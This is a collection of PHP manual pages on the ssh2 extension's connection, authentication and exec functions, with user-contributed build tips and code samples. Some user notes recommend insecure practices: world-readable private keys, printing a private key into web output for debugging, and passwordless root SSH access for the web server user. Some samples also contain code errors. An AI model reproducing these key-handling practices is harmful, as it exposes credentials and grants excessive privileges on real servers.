Edited the configure.m4 and removed the -ldl switch from line (as posted before)
39      -L$SSH2_DIR/lib -lm -ldl
runned phpize again and ./configure --with-ssh2
chris dot britton at cingular dot com 11-Aug-2006 03:11
I was building out the ssh2 extension (0.10) under OpenBSD 3.9 on sparc64 and I got this error when running configure:

checking for libssh2_banner_set in -lssh2... no
configure: error: libssh2 version >= 0.4 not found

I did some poking around in the configure file and traced the problem down.  The reason for the failure is that configure is trying to compile a test program with -ldl.  libdl is not installed on OpenBSD 3.9. The OpenBSD folks purged libdl years ago and I could not find a package that contains it.

(The error message above is misleading because the problem is not with libssh2.)

I looked at the ssh2 extension code and could not see a reason for using libdl, so I removed the -ldl from the config.m4 file.  Re-ran phpize and configure. No errors.  Did make and installed ssh2.so.  Works fine.
Mike <esnik8202 at sneakemail dot com> 27-Mar-2006 06:08
To list directory contents:

<?php
$connection = ssh2_connect(\"hostname\", 22);
ssh2_auth_password($connection,\"username\", \"password\");  // or use any of the ssh2_auth_* methods
$sftp = ssh2_sftp($connection);

$dh = opendir(\"ssh2.sftp://$sftp/path/to/dir/\");

while (($file = readdir($dh)) !== false) {
  echo \"$file is in hostname:/path/to/dir\\n\";
}

closedir($dh);
?>

(thanks to Sara for assisting)
dotwho at NSPM dot mac dot com 05-Oct-2005 12:15
Trying to compile this ssh PECL extension for Mac OS X (10.4.2)
with entropy.ch's php5 distribution? Read on: PART 2:

11) Check your shell's path variable by SHELL$ "echo $PATH".
If your php5 binary directory is not listed before the standard OS X binary directory,
update your $PATH variable to list it first. Mine reads:
/usr/local/mysql/bin/: /usr/local/php5/bin/: /bin:/sbin: /usr/bin:/usr/sbin
11a) if you do not do this step, the PECL extension will link against the old
php4 version that ships with Mac OS X. You will know this by the fact that the
next step lists a server API that is different than the output of phpinfo():
My version was 20041030, Apples version was 20020429.
12) Run: phpize && ./configure --with-ssh2 && make
This will produce a lot of output and probably some warnings. If you get a note
at the end that says "Build Complete", then the process has completed
(probably successfully). The command has produced the output file ssh2.so within
the ssh2-0.9 (or whatever version) directory.
13) Check where the extension directory is located at by running the following command:
SHELL$/usr/local/php5/bin/php-config --extension-dir
If it lists some directory that actually exists, copy the ssh2.so file to this directory.
If it doesn't list a location that exists, you can either create the location, or
choose a different location and update the line in your php.ini file:
extension_dir = "./"
to point to the directory you would like to use. I chose:
extension_dir = "/usr/local/php5/extensions/"?>
14) Add the line
extension=ssh2.so
to the Dynamic Extensions area of your php.ini file.
15) Restart your web server for the extensioin to be loaded. If there are any problems, they will be written to the webserver log.
16) Check if your new ssh based streams are available by running:
SHELL$ /usr/local/php5/bin/php -r "print_r(stream_get_wrappers());"
You should get something similar to this output:
Array
(
    [0] => php
    [1] => file
    [2] => http
    [3] => ftp
    [4] => compress.bzip2
    [5] => compress.zlib
    [6] => https
    [7] => ftps
    [8] => ssh2.shell
    [9] => ssh2.exec
    [10] => ssh2.tunnel
    [11] => ssh2.scp
    [12] => ssh2.sftp
)
You should now be able to do all the cool things you need to do with ssh
(like sftp scp ssh execution)! Take a look at some of the comment here for some
example scripts to test things out:
http://us2.php.net/manual/en/ref.ssh2.php

Good luck... hope that saves you my headache! :)
dotwho at NSPM dot mac dot com 05-Oct-2005 12:12
Trying to compile this ssh PECL extension for Mac OS X (10.4.2)
with entropy.ch's php5 distribution? Read on: PART 1:
1) Download libssh (I used version 0.11)
http://sourceforge.net/project/showfiles.php?group_id=125852
2) Unzip the directory and cd to the upacked directory in the terminal.
3) run: ./configure; make all install;
libssh should compile and place the output file in src/*.o
4) copy all headers from the include folder within the libssh2 directory to
/usr/local/include/
5) copy all compiled files (*.o) from the src folder within the libssh2
directory to /usr/local/lib/
6) Download ssh2
(I used version 0.9 with additional changes from cvs - explained below)
http://pecl.php.net/package/ssh2
7) unzip the downloaded archive.
8) version 0.9 has a conflict with an existing symbol used in some of the ZEND headers...
a change is available in cvs which renames the symbol in ssh2 to avoid the conflict
http://cvs.php.net/diff.php/pecl/ssh2/ssh2.c?r1=1.9&r2=1.10&ty=h
down load at least the 1.10 version of ssh2.c
if you decide to download a newer version, download any of the corresponding related files,
such as the php_ssh2.h header file.
9) replace the old version of ssh2.c with the new version of ssh2.c
(and any other files you downloaded).
10) From the terminal:
cd to the source directory (for me ssh2-0.9/ssh2-0.9/).

(Continued in a PART 2 comment)


Authenticate over SSH using the ssh agent

  • « SSH2 Functions
  • ssh2_auth_hostbased_file »
  • PHP Manual
  • SSH2 Functions
  • Authenticate over SSH using the ssh agent

ssh2_auth_agent

(PECL ssh2 >= 0.12)

ssh2_auth_agent — Authenticate over SSH using the ssh agent

Description

bool ssh2_auth_agent ( resource $session , string $username )

Authenticate over SSH using the ssh agent

Note: The ssh2_auth_agent() function will only be available when the ssh2 extension is compiled with libssh >= 1.2.3.

Parameters

session

An SSH connection link identifier, obtained from a call to ssh2_connect().

username

Remote user name.

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 Authenticating with a ssh agent

<?php
$connection = ssh2_connect('shell.example.com', 22);

if (ssh2_auth_agent($connection, 'username')) {
  echo "Authentication Successful!\n";
} else {
  die('Authentication Failed...');
}
?>

User Contributed Notes

There are no user contributed notes for this page.


Authenticate using a public hostkey

  • « ssh2_auth_agent
  • ssh2_auth_none »
  • PHP Manual
  • SSH2 Functions
  • Authenticate using a public hostkey

ssh2_auth_hostbased_file

(PECL ssh2 >= 0.9.0)

ssh2_auth_hostbased_file — Authenticate using a public hostkey

Description

bool ssh2_auth_hostbased_file ( resource $session , string $username , string $hostname , string $pubkeyfile , string $privkeyfile [, string $passphrase [, string $local_username ]] )

Authenticate using a public hostkey read from a file.

Parameters

session

An SSH connection link identifier, obtained from a call to ssh2_connect().

username

hostname

pubkeyfile

privkeyfile

passphrase

If privkeyfile is encrypted (which it should be), the passphrase must be provided.

local_username

If local_username is omitted, then the value for username will be used for it.

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 Authentication using a public hostkey

<?php
$connection = ssh2_connect('shell.example.com', 22, array('hostkey'=>'ssh-rsa'));

if (ssh2_auth_hostbased_file($connection, 'remoteusername', 'myhost.example.com',
                             '/usr/local/etc/hostkey_rsa.pub',
                             '/usr/local/etc/hostkey_rsa', 'secret',
                             'localusername')) {
  echo "Public Key Hostbased Authentication Successful\n";
} else {
  die('Public Key Hostbased Authentication Failed');
}
?>

Notes

Note:

ssh2_auth_hostbased_file() requires libssh2 >= 0.7 and PHP/SSH2 >= 0.7

User Contributed Notes

There are no user contributed notes for this page.


Authenticate as "none"

  • « ssh2_auth_hostbased_file
  • ssh2_auth_password »
  • PHP Manual
  • SSH2 Functions
  • Authenticate as "none"

ssh2_auth_none

(PECL ssh2 >= 0.9.0)

ssh2_auth_none — Authenticate as "none"

Description

mixed ssh2_auth_none ( resource $session , string $username )

Attempt "none" authentication which usually will (and should) fail. As part of the failure, this function will return an array of accepted authentication methods.

Parameters

session

An SSH connection link identifier, obtained from a call to ssh2_connect().

username

Remote user name.

Return Values

Returns TRUE if the server does accept "none" as an authentication method, or an array of accepted authentication methods on failure.

Examples

Example #1 Retrieving a list of authentication methods

<?php
$connection = ssh2_connect('shell.example.com', 22);

$auth_methods = ssh2_auth_none($connection, 'user');

if (in_array('password', $auth_methods)) {
  echo "Server supports password based authentication\n";
}
?>

User Contributed Notes

There are no user contributed notes for this page.


Authenticate over SSH using a plain password

  • « ssh2_auth_none
  • ssh2_auth_pubkey_file »
  • PHP Manual
  • SSH2 Functions
  • Authenticate over SSH using a plain password

ssh2_auth_password

(PECL ssh2 >= 0.9.0)

ssh2_auth_password — Authenticate over SSH using a plain password

Description

bool ssh2_auth_password ( resource $session , string $username , string $password )

Authenticate over SSH using a plain password. Since version 0.12 this function also supports keyboard_interactive method.

Parameters

session

An SSH connection link identifier, obtained from a call to ssh2_connect().

username

Remote user name.

password

Password for username

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 Authenticating with a password

<?php
$connection = ssh2_connect('shell.example.com', 22);

if (ssh2_auth_password($connection, 'username', 'secret')) {
  echo "Authentication Successful!\n";
} else {
  die('Authentication Failed...');
}
?>

User Contributed Notes

wally at soggysoftware dot co dot uk 12-Apr-2007 12:09
This function is useful for authenticating website clients against local (or remote) Unix users.

I'd played around with Apache+PAM, various mod_auths and homebrewed shell programs and even NIS, but to authenticate a user against a Unix shadow file fundamentally requires root priviledges, so either your PHP script needs root or an external program needs it's sticky bit set.  Both of these have *serious* security implications.

Using SSH, the overhead is obviously going to be greater but you're trusting a root service that's been (and continues to be) really well tested.  Just try authing with SSH against localhost (or another host if you want).
noels01 at gmx dot net 29-Aug-2005 02:56
Do not try to authenticate or log in more than once on a ssh2 connection. It won't work. You'll need a new connection via ssh2_connect() which will result in a poor performance if you're doing several connects to the same server.


Authenticate using a public key

  • « ssh2_auth_password
  • ssh2_connect »
  • PHP Manual
  • SSH2 Functions
  • Authenticate using a public key

ssh2_auth_pubkey_file

(PECL ssh2 >= 0.9.0)

ssh2_auth_pubkey_file — Authenticate using a public key

Description

bool ssh2_auth_pubkey_file ( resource $session , string $username , string $pubkeyfile , string $privkeyfile [, string $passphrase ] )

Authenticate using a public key read from a file.

Parameters

session

An SSH connection link identifier, obtained from a call to ssh2_connect().

username

pubkeyfile

The public key file needs to be in OpenSSH's format. It should look something like:

ssh-rsa AAAAB3NzaC1yc2EAAA....NX6sqSnHA8= rsa-key-20121110

privkeyfile

passphrase

If privkeyfile is encrypted (which it should be), the passphrase must be provided.

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 Authentication using a public key

<?php
$connection = ssh2_connect('shell.example.com', 22, array('hostkey'=>'ssh-rsa'));

if (ssh2_auth_pubkey_file($connection, 'username',
                          '/home/username/.ssh/id_rsa.pub',
                          '/home/username/.ssh/id_rsa', 'secret')) {
  echo "Public Key Authentication Successful\n";
} else {
  die('Public Key Authentication Failed');
}
?>

User Contributed Notes

nerak-spelled-backwards at modo dot coop 11-Jan-2013 02:49
This function has a known bug (https://bugs.php.net/bug.php?id=58573) under some Linux installations: you can't encrypt your private key if you've compiled libssh2 using libgcrypt.  According to the bug page, the solution is to rebuild libssh2 with OpenSSL.  (Or don't encrypt your private key, but that seems irresponsible somehow.)

This isn't a bug report -- the bug is apparently already being fixed -- but a note for others, because it took me at least an hour of Googling to realize the problem wasn't with my own code.
christian at cvj dot se 03-Jan-2012 01:21
On my linux debian server running php communicating with another linux debian server I had problems getting rsa to work. dsa worked out of the box. I got it to work by doing the following in terminal

* ssh-keygen -t rsa
.... PUBFILE
* ssh-keygen -f PUBFILE -e
OUTPUT

id_rsa.pub =
ssh-rsa OUTPUT [COMMENT]
max 16-Sep-2011 01:37
Well, you have to format the publickey with the following command:

# ssh-keygen -f id_rsa.pub -i
Output: "ssh-rsa <YOURKEYDATA>"

That worked fine for me.
anjo2 12-May-2011 05:49
rsa keys may don't work, using dsa keys are more compatible

Linux:
ssh-keygen -t dsa
cat ~/.ssh/id_dsa.pub >> ~/.ssh/authorized_keys
chmod 700 ~/.ssh/
chmod -R 600 ~/.ssh/*

PHP:
<?php
    $methods = array(
    'kex' => 'diffie-hellman-group1-sha1',
    'hostkey' => 'ssh-dss',
    'client_to_server' => array(
    'crypt' => '3des-cbc',
    'mac' => 'hmac-md5',
    'comp' => 'none'),
    'server_to_client' => array(
    'crypt' => '3des-cbc',
    'mac' => 'hmac-md5',
    'comp' => 'none'));
    $connect = ssh2_connect('127.0.0.1', 22, $methods);
    if(ssh2_auth_pubkey_file($connect, 'username', '~/.ssh/id_dsa.pub', '~/.ssh/id_dsa'))
    {
        echo "Public Key Authentication Successful\n";
    }
    else
    {
        echo "Public Key Authentication Failed\n";
    }
?>
deepakssn@gmailcom 20-May-2010 01:12
Setting up public key authentication:

1.  Login to the unix server you want to connect using putty.
2.  mkdir .ssh (there is a dot before ssh)
3.  cd .ssh
4.  ssh-keygen -t rsa mykey
5.  Enter passphrase as test
6.  ls -al -> you will find two files mykey , mykey.pub
7.  cat mykey.pub >>authorized_keys
8.  cat mykey
9.  Copy what you get on screen to notepad and save it as "c:\mykey" (within quotes)
10.  cat mykey.pub
11.  Copy what you get on screen to notepad and save it as "c:\mykey.pub" (within quotes)

<?php

function my_ssh_disconnect($reason, $message, $language)
{
  printf("Server disconnected with reason code [%d] and message: %s\n", $reason, $message);
}

//Open a connection forcing 3des-cbc when sending packets, any strength aes cipher when receiving packets, no compression in either direction, and Group1 key exchange.
$methods = array(
  'kex' => 'diffie-hellman-group1-sha1',
  'client_to_server' => array(
   'crypt' => 'aes256-cbc',
   'comp' => 'none',
   'mac' => 'hmac-sha1'),
  'server_to_client' => array(
   'crypt' => 'aes256-cbc',
   'comp' => 'none',
   'mac' => 'hmac-sha1'));

$callbacks = array('disconnect' => 'my_ssh_disconnect');

      // Function to run a command on the unix server

      function run_cmd($ssh_host, $user_name, $keyfilename, $ssh_command)
      {
          $connection = ssh2_connect($ssh_host, 22, $methods, $callbacks);
          if (!$connection) die('Connection failed');
          if (ssh2_auth_pubkey_file($connection, $user_name, $keyfilename.".pub", $keyfilename, 'test'))
          {
            echo "Public Key Authentication Successful as user: $user_name";
          }
          else
          {
            die('Public Key Authentication Failed');
          }

          $stream = ssh2_exec($connection, $ssh_command);
          $i=0;
          stream_set_blocking($stream, true);
          $line = stream_get_line($stream, 1024, "\n");
          while (!feof($stream))
          {
                  echo $line.' ';
                  $line = stream_get_line($stream, 1024, "\n");
                  $i++;
          }
          echo "Count : ".$i;
          flush();
          unset($stream);
      }

      function my_ssh_disconnect($reason, $message, $language)
      {
            printf("Server disconnected with reason code [%d] and message: %s\n",
            $reason, $message);
      }

      // Main Code

      $user_name = "USERID";
      $keydir = "c:\\";
      $search_string = 'needle';
      $keyfilename= $keydir.'mykey';
      $ssh_host = "foo.bar.com";
      $ssh_command = 'grep "'.$search_string.'" /haystack/*.log';
      run_cmd($ssh_host, $user_name, $keyfilename, $ssh_command);

      $ssh_command = 'ls -al';
      run_cmd($ssh_host, $user_name, $keyfilename, $ssh_command);
?>
gramo dot gnu at gmail dot com 30-Oct-2009 12:26
I had an anoyiing problem with this function, everytime I tried to make it run it responds with an

Authentication failed for <user> using public key

but when I try directly to connect to the server using
ssh <user>@<domain>
Things works fine...

After lots of intents I realize that local files were read protected from user apache (they were stored at /home/<user>/.ssh directory)

So, if you also have this problem, just make a new directory into a place where apache can read and place there the keys.

The whole thing I do is as follows (Linux & Apache both server and client):

First I create a directory where apache can read

mkdir ~/.newssh_keys
chmod 777 ~/.newssh_keys

(This is a security issue, so maybe you need to realize how to make it safer.)

Then I create keys into local server choosing ~/.newssh_keys/id_dsa as the file to save the key:

ssh-keygen -t dsa
...
Enter file in which to save the key (/home/<user>/.ssh/id_dsa): ~/.newssh_keys/id_dsa
...

Then I have to change permissions to private key
(This is a security issue, so maybe you need to realize how to make it safer.)

chmod 644 ~/.newssh_keys/id_dsa

I copy the public key into the server's .ssh directory
client$ scp id_dsa.pub <remoteuser>@<server_domain>:~/.ssh/

and then I connect myself to the server using traditional ssh in order to append the public key at the end of authorized_keys2 file

server$ cat ~/.ssh/id_dsa.pub >> ~/.ssh/authorized_keys2

and remove the public key in order to be clean
server$ rm ~/.ssh/id_dsa.pub

Finally I use this code into my php script

<?php
// This in order to be sure apache can read public key
// (remove this after debug)
$pub_key = file_get_contents('~/.newssh_keys/id_dsa.pub');
print "<pre>";
var_export($pub_key);
print "</pre>";

// This in order to check private one
// (remove this after debug)
$prv_key = file_get_contents('~/.newssh_keys/id_dsa');
print "<pre>";
var_export($prv_key);
print "</pre>";

// Finally the connection code
$connection = ssh2_connect('<server_domain>', 22, array('hostkey', 'ssh-dss'));
if (ssh2_auth_pubkey_file($connection, '<server_user>',
                          '~/.newssh_keys/id_dsa.pub',
                          '~/.newssh_keys/id_dsa')) {
  echo "Public Key Authentication Successful\n";
} else {
  echo "Public Key Authentication Failed";
}
?>
tekiedude at gmail dot com 31-Jul-2007 10:45
This is probably incredibly insecure but if you are in a closed environment, you can run it at your own risk.

I was trying to get ssh access from server A to server B but server A was running apache as 'apache' and
I needed files on server B that were owned by root. So I needed some way for the apache user to connect
to server B as root.  Here's what I did (both servers running linux - specifically CentOS4):

1. ssh-keygen -t rsa -f id_rsa  generate with no passphrase
2. append the id_rsa.pub file to server B /root/.ssh/authorized_keys2
3. copy the id_rsa and id_rsa.pub files to a directory like /var/www/.ssh/
(happens to be apache's home dir on CentOS)
4. chown -R apache.apache /var/www/.ssh

Then you can connect like this:
$connection = ssh2_connect($server,22,array('hostkey'=>'ssh-rsa'));
if (ssh2_auth_pubkey_file($connection,'root',
'/var/www/.ssh/id_rsa.pub',
'/var/www/.ssh/id_rsa')) {
echo "success!";
}
else
{
echo "no success :-(";
}


Connect to an SSH server

  • « ssh2_auth_pubkey_file
  • ssh2_exec »
  • PHP Manual
  • SSH2 Functions
  • Connect to an SSH server

ssh2_connect

(PECL ssh2 >= 0.9.0)

ssh2_connect — Connect to an SSH server

Description

resource ssh2_connect ( string $host [, int $port = 22 [, array $methods [, array $callbacks ]]] )

Establish a connection to a remote SSH server.

Once connected, the client should verify the server's hostkey using ssh2_fingerprint(), then authenticate using either password or public key.

Parameters

host

port

methods

methods may be an associative array with up to four parameters as described below.

methods may be an associative array with any or all of the following parameters.
Index | Meaning | Supported Values*
kex | List of key exchange methods to advertise, comma separated in order of preference. | diffie-hellman-group1-sha1, diffie-hellman-group14-sha1, and diffie-hellman-group-exchange-sha1
hostkey | List of hostkey methods to advertise, comma separated in order of preference. | ssh-rsa and ssh-dss
client_to_server | Associative array containing crypt, compression, and message authentication code (MAC) method preferences for messages sent from client to server.
server_to_client | Associative array containing crypt, compression, and message authentication code (MAC) method preferences for messages sent from server to client.

* - Supported Values are dependent on methods supported by underlying library. See » libssh2 documentation for additional information.

client_to_server and server_to_client may be an associative array with any or all of the following parameters.
Index | Meaning | Supported Values*
crypt | List of crypto methods to advertise, comma separated in order of preference. | rijndael-cbc@lysator.liu.se, aes256-cbc, aes192-cbc, aes128-cbc, 3des-cbc, blowfish-cbc, cast128-cbc, arcfour, and none**
comp | List of compression methods to advertise, comma separated in order of preference. | zlib and none
mac | List of MAC methods to advertise, comma separated in order of preference. | hmac-sha1, hmac-sha1-96, hmac-ripemd160, hmac-ripemd160@openssh.com, and none**

Note: Crypt and MAC method "none"

For security reasons, none is disabled by the underlying » libssh2 library unless explicitly enabled during build time by using the appropriate ./configure options. See documentation for the underlying library for more information.

callbacks

callbacks may be an associative array with any or all of the following parameters.

Callbacks parameters
Index | Meaning | Prototype
ignore | Name of function to call when an SSH2_MSG_IGNORE packet is received | void ignore_cb($message)
debug | Name of function to call when an SSH2_MSG_DEBUG packet is received | void debug_cb($message, $language, $always_display)
macerror | Name of function to call when a packet is received but the message authentication code failed. If the callback returns TRUE, the mismatch will be ignored, otherwise the connection will be terminated. | bool macerror_cb($packet)
disconnect | Name of function to call when an SSH2_MSG_DISCONNECT packet is received | void disconnect_cb($reason, $message, $language)

Return Values

Returns a resource on success, or FALSE on error.

Examples

Example #1 ssh2_connect() example

Open a connection forcing 3des-cbc when sending packets, any strength aes cipher when receiving packets, no compression in either direction, and Group1 key exchange.

<?php
/* Notify the user if the server terminates the connection */
function my_ssh_disconnect($reason, $message, $language) {
  printf("Server disconnected with reason code [%d] and message: %s\n",
         $reason, $message);
}

$methods = array(
  'kex' => 'diffie-hellman-group1-sha1',
  'client_to_server' => array(
    'crypt' => '3des-cbc',
    'comp' => 'none'),
  'server_to_client' => array(
    'crypt' => 'aes256-cbc,aes192-cbc,aes128-cbc',
    'comp' => 'none'));

$callbacks = array('disconnect' => 'my_ssh_disconnect');

$connection = ssh2_connect('shell.example.com', 22, $methods, $callbacks);
if (!$connection) die('Connection failed');
?>

See Also

  • ssh2_fingerprint() - Retrieve fingerprint of remote server
  • ssh2_auth_none() - Authenticate as "none"
  • ssh2_auth_password() - Authenticate over SSH using a plain password
  • ssh2_auth_pubkey_file() - Authenticate using a public key

User Contributed Notes

rainerkrauss at googlemail dot com 08-Jun-2014 08:00
Warning! If you open a ssh connection and execute an external program opening another ssh connection it may result in very strange behavior.

I used an sftp connection to get a file list and used "exec" to download the files afterwards with an external sftp. lftp downloaded zeros with no comment, psftp exits with error code 11 most of the time, but sometimes it works - probably depending on how quickly php collects garbage and closes the unused connection first.

As there is no function to close a connection, you need to be sure to destroy all references (unset) to close it.
Trev White 26-Jul-2013 06:20
Hi,
If you are having problems with running a ssh2 session and it waits forever during the execution of stream_get_contents, it might be because the remote system has run the command and is now sitting at a # prompt waiting for the next command.  I had this issue on a HP MSA box, here is the code to get around the issue.

Assuming you are connected with your authentication method and $ssh contains the handle.

<?php
$command = "check disk";
// Open a nice large window to stop wrapping
$stream = ssh2_shell ($ssh, 'xterm', null, 200, 200, SSH2_TERM_UNIT_CHARS);

// Hook into the error stream
$errorStream = ssh2_fetch_stream($stream, SSH2_STREAM_STDERR);

// Block the streams so we wait until they complete
stream_set_blocking ($stream, true);
stream_set_blocking($errorStream, true);

// Send the commands to the terminal
fwrite ($stream, $command . PHP_EOL );

// Wait give the terminal a chance to accept and start processing the command, this is a slow storage device after all
sleep(2);

// IMPORTANT BIT!!  Send exit to the terminal to close the connection BEFORE WE WAIT FOR THE STREAM
fwrite ($stream, "exit" . PHP_EOL );
sleep (2);

// Print the output
echo stream_get_contents($stream);
$errortext=stream_get_contents($errorStream);

if (strlen($errortext) > 0) {
          // Error Data
         echo "Error Data: $errortext";
         exit (1);
}

// All Good
exit (0);

?>

You can't use ssh2_exec with this method (well at lease I couldn't) because on executing the first command the stream gets blocked and then you can't run the exit command, whereas a terminal seems to use one session.

I hope this helps someone.
Steve Kamerman 06-Jul-2011 12:06
Due to a lack of complete examples, here's a simple SSH2 class for connecting to a server, authenticating with public key authentication, verifying the server's fingerprint, issuing commands and reading their STDOUT and properly disconnecting.  Note: You may need to make sure you commands produce output so the response can be pulled.  Some people suggest that the command is not executed until you pull the response back.
<?php
class NiceSSH {
    // SSH Host
    private $ssh_host = 'myserver.example.com';
    // SSH Port
    private $ssh_port = 22;
    // SSH Server Fingerprint
    private $ssh_server_fp = 'xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx';
    // SSH Username
    private $ssh_auth_user = 'username';
    // SSH Public Key File
    private $ssh_auth_pub = '/home/username/.ssh/id_rsa.pub';
    // SSH Private Key File
    private $ssh_auth_priv = '/home/username/.ssh/id_rsa';
    // SSH Private Key Passphrase (null == no passphrase)
    private $ssh_auth_pass;
    // SSH Connection
    private $connection;

    public function connect() {
        if (!($this->connection = ssh2_connect($this->ssh_host, $this->ssh_port))) {
            throw new Exception('Cannot connect to server');
        }
        $fingerprint = ssh2_fingerprint($this->connection, SSH2_FINGERPRINT_MD5 | SSH2_FINGERPRINT_HEX);
        if (strcmp($this->ssh_server_fp, $fingerprint) !== 0) {
            throw new Exception('Unable to verify server identity!');
        }
        if (!ssh2_auth_pubkey_file($this->connection, $this->ssh_auth_user, $this->ssh_auth_pub, $this->ssh_auth_priv, $this->ssh_auth_pass)) {
            throw new Exception('Autentication rejected by server');
        }
    }
    public function exec($cmd) {
        if (!($stream = ssh2_exec($this->connection, $cmd))) {
            throw new Exception('SSH command failed');
        }
        stream_set_blocking($stream, true);
        $data = "";
        while ($buf = fread($stream, 4096)) {
            $data .= $buf;
        }
        fclose($stream);
        return $data;
    }
    public function disconnect() {
        $this->exec('echo "EXITING" && exit;');
        $this->connection = null;
    }
    public function __destruct() {
        $this->disconnect();
    }
}
?>

[EDIT BY danbrown AT php DOT net: Contains two bugfixes suggested by 'AlainC' in user note #109185 (removed) on 26-JUN-2012.]
suri dot suribala dot com 24-Feb-2005 02:00
With Sara's help, I have the following SS2 class that is quite flexible. If anyone improves it, please feel free to let me know.

<?php

// ssh protocols
// note: once openShell method is used, cmdExec does not work

class ssh2 {

  private $host = 'host';
  private $user = 'user';
  private $port = '22';
  private $password = 'password';
  private $con = null;
  private $shell_type = 'xterm';
  private $shell = null;
  private $log = '';

  function __construct($host='', $port=''  ) {

     if( $host!='' ) $this->host  = $host;
     if( $port!='' ) $this->port  = $port;

     $this->con  = ssh2_connect($this->host, $this->port);
     if( !$this->con ) {
       $this->log .= "Connection failed !";
     }

  }

  function authPassword( $user = '', $password = '' ) {

     if( $user!='' ) $this->user  = $user;
     if( $password!='' ) $this->password  = $password;

     if( !ssh2_auth_password( $this->con, $this->user, $this->password ) ) {
       $this->log .= "Authorization failed !";
     }

  }

  function openShell( $shell_type = '' ) {

        if ( $shell_type != '' ) $this->shell_type = $shell_type;
    $this->shell = ssh2_shell( $this->con,  $this->shell_type );
    if( !$this->shell ) $this->log .= " Shell connection failed !";

  }

  function writeShell( $command = '' ) {

    fwrite($this->shell, $command."\n");

  }

  function cmdExec( ) {

        $argc = func_num_args();
        $argv = func_get_args();

    $cmd = '';
    for( $i=0; $i<$argc ; $i++) {
        if( $i != ($argc-1) ) {
          $cmd .= $argv[$i]." && ";
        }else{
          $cmd .= $argv[$i];
        }
    }
    echo $cmd;

        $stream = ssh2_exec( $this->con, $cmd );
    stream_set_blocking( $stream, true );
    return fread( $stream, 4096 );

  }

  function getLog() {

     return $this->log;

  }

}

?>


Execute a command on a remote server

  • « ssh2_connect
  • ssh2_fetch_stream »
  • PHP Manual
  • SSH2 Functions
  • Execute a command on a remote server

ssh2_exec

(PECL ssh2 >= 0.9.0)

ssh2_exec — Execute a command on a remote server

Description

resource ssh2_exec ( resource $session , string $command [, string $pty [, array $env [, int $width = 80 [, int $height = 25 [, int $width_height_type = SSH2_TERM_UNIT_CHARS ]]]]] )

Execute a command at the remote end and allocate a channel for it.

Parameters

session

An SSH connection link identifier, obtained from a call to ssh2_connect().

command

pty

env

env may be passed as an associative array of name/value pairs to set in the target environment.

width

Width of the virtual terminal.

height

Height of the virtual terminal.

width_height_type

width_height_type should be one of SSH2_TERM_UNIT_CHARS or SSH2_TERM_UNIT_PIXELS.

Return Values

Returns a stream on success or FALSE on failure.

Examples

Example #1 Executing a command

<?php
$connection = ssh2_connect('shell.example.com', 22);
ssh2_auth_password($connection, 'username', 'password');

$stream = ssh2_exec($connection, '/usr/local/bin/php -i');
?>

See Also

  • ssh2_connect() - Connect to an SSH server
  • ssh2_shell() - Request an interactive shell
  • ssh2_tunnel() - Open a tunnel through a remote server

User Contributed Notes

noreply at voicemeup dot com 12-Feb-2013 01:12
*** IMPORTANT ***
If you are having issues getting STDERR on PHP 5.2.X, make sure to update to 5.2.17 and latest ssh2 extension from PECL.
Jim 09-Dec-2010 06:22
It is important to note that this will not work ~all~ hosts that allow SFTP. We deny shell access, but allow SFTP using the sftp-internal subsystem.

When attempting to use ssh2_exec() with this configuration, and stream_set_blocking set to true, the script will hang indefinitely. When stream_set_blocking is set to false, nothing will be returned.

Even if you can SFTP files, be sure to check with your host to see if you have shell access.
christopher dot millward at gmail dot com 27-Jul-2010 08:15
There doesn't appear to be a way to get data from BOTH stderr and stdout streams simultaneously, or at least I've yet to find one.

The following code *should* get the error message written to stderr, but if the call to stream_get_contents() for stdout is run first, the subsequent call for stderr won't return anything.

If the order of the statements is reversed, the call for stderr will return any errors and call for stdout will return nothing

<?php
// Run a command that will probably write to stderr (unless you have a folder named /hom)
$stream = ssh2_exec($connection, "cd /hom");
$errorStream = ssh2_fetch_stream($stream, SSH2_STREAM_STDERR);

// Enable blocking for both streams
stream_set_blocking($errorStream, true);
stream_set_blocking($stream, true);

// Whichever of the two below commands is listed first will receive its appropriate output.  The second command receives nothing
echo "Output: " . stream_get_contents($stream);
echo "Error: " . stream_get_contents($errorStream);

// Close the streams
fclose($errorStream);
fclose($stream);

?>

My initial suspicion is that either a) I've done something wrong  or b) the blocking nature of both streams means that by the time first stream has received data and returned, the buffer for the second stream has already emptied.

I've done preliminary tests with blocking disabled, but haven't had any luck there either.
gwinans at gmail dot com 28-Apr-2010 07:40
Oddly enough, I've noticed if I attempt to execute anything nothing happens. Now, I don't mean "No content is returned!".. I mean, "The command I told it to execute didn't execute!".

Unless the following pattern is followed:

<?php
$stream = ssh2_exec($connection, "touch ~/some_fake_file", 'xterm');
stream_get_contents($stream);
?>

Nowhere in the manual does it imply that stream_get_contents is required for the actual execution to take place, but in this case.. it seems that way. So, if you're having trouble getting commands to execute, try using stream_get_contents().
magicaltux at php dot net 21-Dec-2008 01:41
The "pty" parameter is not documented.

You should pass a pty emulation name ("vt102", "ansi", etc...) if you want to emulate a pty, or NULL if you don't.

Passing false will convert false to a string, and will allocate a "" terminal.
jaimie at seoegghead dot com 19-Dec-2008 05:07
I believe most of the problem that people are having here is that there is a misconception about what blocking *really* means.

Blocking means a read from the *stream* will wait until there is data.  Not necessarily all the data from the application -- but *some*.  So it won't help you at all if you're executing a command that doesn't write to stdout, or writes a whole lot of data.

So there are 2 problems:

1. If you need to know that a silent program is done via ssh2_exec, you'll need to signal it to yourself.  ssh2_exec will *not* block execution until the command is done executing.  And 2 consecutive ssh2_execs may execute asynchronously.  You could also log into a shell via ssh2_shell and parse up to the next prompt -- but that's overkill.  You can also do this by adding on some sort of sentinel at the end of your command, such as echo "@," and then block on reads until you see a "@."  Ensure "@" won't appear in the output, or escape the output via some encoding mechanism if you can't do that.

2. If the program takes awhile, you have the same problem.  You need to read until you're done.  So you need a sentinel value like the above.

3. Sleep() is just a bad idea here.  Commands rarely take the same amount of time to execute a command twice.  It may be OK if you're doing *one* thing and can just wait 5 seconds.  But that's not cool if it's something you're doing in a loop.

Hope this helps!
lko at netuse dot de 06-Dec-2007 02:41
if you are using exec function, and have problems with a output > 1000 lines
you should use

<?php
                stream_set_blocking($stream, true);
                while($line = fgets($stream)) {
                        flush();
                        echo $line."<br />";
                }
?>

except

<?php
                stream_set_blocking($stream, true);
